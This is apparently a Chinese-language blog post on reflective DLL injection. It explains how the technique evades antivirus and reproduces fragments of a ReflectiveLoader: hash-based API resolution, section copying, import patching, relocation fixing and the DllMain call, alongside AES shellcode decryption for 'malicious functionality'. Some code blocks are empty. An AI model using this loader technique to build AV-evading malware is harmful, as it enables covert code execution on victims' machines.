反射型DLL注入
反射型DLL注入
常规DLL注入
磁盘读取dll到数组 -> 将payload数组写入目标内存 -> 在目标内存中找到LoadLibraryW -> 通过CreateRemoteThread调用LoadLibraryW函数,参数为dll在内存中的地址
但这样的操作会多次触碰到AV的报毒点,所以我们引入了反射型DLL注入技术
反射型DLL实现思路
- 有A线程向B线程写入dll
- 调用B线程的embedded bootstrapper code
- 通过bootstrapper shellcode调用dll的导出函数reflective loader
reflective loader实际上是一个自己实现的LoadLibraryW函数,从内存中找到我们写入的dll并修复使其成为可以被正常使用的pe文件,最后调用DLLmain实现我们的恶意功能
但随着AV的进步,这种远程进程、线程注入的方式,也是难以bypass的,而且我们不需要bootstrapper shellcode这个部分,所以我们可以直接在加载部分算出reflective loader在内存中的地址,直接调用
具体实现
大体思路
来看其中的代码
1 |
|
解密shellcode,这里使用的是AES解密
1 |
|
计算出reflective loader的偏移
其中在while (dwCounter--)
循环中遍历导出表,根据函数名找到bootloader
函数,来获得函数的偏移
1 |
|
创建线程调用ReflectLoader
函数
dll处理
在ReflectiveLoader
中,主要做了如下工作
- 解析加载DLL所需kernel32.dll WINAPI的地址(例如VirtualAlloc, LoadLibraryA等),通过hash遍历内存搜索
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32while (usCounter > 0)
{
// compute the hash values for this function name
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
// if we have found a function we want we get its virtual address
if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
{
// get the VA for the array of addresses
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
// store this functions VA
if (dwHashValue == LOADLIBRARYA_HASH)
pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
else if (dwHashValue == GETPROCADDRESS_HASH)
pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
else if (dwHashValue == VIRTUALALLOC_HASH)
pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
} - 将dll与其相对应的部分写入内存
1
2
3
4
5
6
7
8
9
10while (uiValueA--)
*(BYTE*)uiValueC++ = *(BYTE*)uiValueB++;
// STEP 3: load in all of our sections...
// uiValueA = the VA of the first section
uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
// itterate through all sections, loading them into memory.
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; - 建立DLL导入表,以便DLL可以调用ntdll.dll和kernel32.dll WINAPI
1
2// patch in the address for this imported function
DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray)); - 修复重定位表
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
{
// uiValueA = the VA for this relocation block
uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
// uiValueB = number of entries in this relocation block
uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
// uiValueD is now the first entry in the current relocation block
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
// we itterate through all the entries in the current block...
while (uiValueB--)
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
// we dont use a switch statement to avoid the compiler building a jump table
// which would not be very position independent!
if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
*(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; - 调用DLL的入口点最终shellcode位于dllmain中
1
2// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
参考文章:
https://xz.aliyun.com/t/11659
https://github.com/mgeeky/ShellcodeFluctuation
https://github.com/mgeeky/ThreadStackSpoofer
反射型DLL注入
https://glacierrrr.online/2022/11/15/反射型DLL注入/